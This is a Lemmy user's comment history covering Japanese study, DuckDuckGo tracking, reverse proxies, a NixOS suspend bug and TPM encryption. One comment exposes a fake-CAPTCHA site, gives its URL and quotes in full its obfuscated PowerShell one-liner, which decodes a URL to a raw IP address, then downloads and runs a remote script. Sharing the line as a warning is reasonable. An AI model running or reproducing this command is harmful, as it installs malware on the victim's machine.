Object @ Object @sh.itjust.works

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9

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157

Joined

10 mo. ago

I should have clarified that I am learning Japanese now, but most of the Hanja I was taught at school would have been very compatible with what I am doing right now.

Huh, that reminds me of something similar. My militray boot is a bit too big, but it didn't stop me from running, and it just feels a bit floppy like a flip flop. I should have complained back then, but I didn't, and I mildly regretted it.

Note that this happened after I grew up, of course. Conscripting a child is usually frowned upon.

The full story link is dead, and my guess is that it should be pointing here. The story is about how embedded contents that appear in DuckDuckGo enables Google to track the user. The study they have done is here. This is unfortunate as DuckDuckGo still relies on Google to deliver parts of its contents, but DuckDuckGo offers plainer search engine too. This has happened before, so I believe it.

Unreal Super Hero 3: Keygen music I came across. It took me a while to find the title, and now it's in my playlist.

Mad Machine: Does it count as a music?

It's a real Emacs hotkey that converts all Latex blocks in your file into preview copies of them. Emacs is weird like that.

In terms of setup, Caddy is a lot simpler in syntax, but you will find more tutorials for Traefik and it has better integration with Docker. You can add labels to a container and Traefik uses that as config, whereas in Caddy, you need to set up both the container and the config file. If you want to drop a service, then it is easier in Traefik for this reason. But with decent Nix code, you can basically replicate this in Caddy. Once you set them up, they're pretty much the same. I've seen some people saying Traefik is faster, but realistically, I don't think it's meaningful.

C-u C-u C-c C-x C-l my beloved

It's funny how even in countries where people leave their expensive belongings unattended without worrying still sees bikes as acceptable targets as if it's like a global standard. I would also put umbrellas there too.

I will. So far, s2idle did work for me but it unfortunately is not the level of sleep I was looking for.

Just did it and s2idle works! Thank you.

I'll try that. Thank you!

That's the issue. The journal just... stops the moment it enters suspend. I now even have an alias for that specific purpose. No one seems to have this issue online.

    
Jul 05 20:58:59 main systemd[1]: session-4.scope: Unit now frozen-by-parent.
Jul 05 20:58:59 main systemd[1]: user-995.slice: Unit now frozen-by-parent.
Jul 05 20:58:59 main systemd[1]: user.slice: Unit now frozen.
Jul 05 20:58:59 main systemd[1]: user-1000.slice: Unit now frozen-by-parent.
Jul 05 20:58:59 main systemd-sleep[82780]: Successfully froze unit 'user.slice'.
Jul 05 20:58:59 main systemd-sleep[82780]: Performing sleep operation 'suspend'...
Jul 05 20:58:59 main kernel: PM: suspend entry (deep)
(END)


  

I appreciate your help though. Someday, I'll get it fixed.

I'm almost certain it's not hardware considering all three have NixOS and they all have the exact behaviour of shutting down immediately as soon as the LED lights up as if the power is abruptly removed (yay reproducible), but not knowing how I can fix this is really frustrating. There simply isn't a good way to concisely describe the issue, so finding people with the same issue is really hard.

A program that covers all kinds of games is going to be challenging due to sheer variety there would be. You could build a specialised protocol for a specific genre of games, but I think at that point, it would make more sense to build your own game, and use Fediverse identity to identify the user.

For those who want to see it in action:

https://dex-redirect.com/

It gives you the following script:

powershell -NoExit -c "$znn='sggk://91.212.166.104/e/2e';$djq=$znn.ToCharArray()|%{if($_ -cmatch '[a-z]'){[char](122 - ([int][char]$_ - 97))}else{$_}};$jgq=($djq -join '');([ScriptBlock]::Create((Invoke-RestMethod $jgq))).Invoke();"

I can't check what the CAPTCHA prompt says since I'm on mobile, but I'm guessing it asks you to paste it into your console.

If you're talking about self-hosted game servers, those already exists (see Minecraft), but it depends on whether they allow it or not. Reversing is possible, yeah, but it would take stupid amount of effort without their cooperation.

Main challenge of federated in the sense that there are communications between servers as well as client and server is probably going to be latency. If I were building something like this, I would rather have a protocol that redirects you to the actual game server so that you have direct connection to it rather than having your home instance acting as a proxy to the remote instance. Your home server would simply tell the remote server that your account is legitimate. This would be one of those "cracked" Minecraft server except they rely on an external server for account verification.

The three letter agencies?

Suspiciously nut-shaped training dataset:

I don't, because I have better control over my disks. With TPM, the keys are stored within the chip itself, and I won't be able to unlock it if I boot into another OS (re-installing, dual boot, etc). With password, while inconvenient, I know that I can always unlock it, ans the chance of locking myself out is negligible.

TPM being a backdoor doesn't seem likely to me. Worst case scenario, transparent mode is just as bad as unencrypted disk. Most of the time, it adds extra security, though you are at the risk of locking yourself out.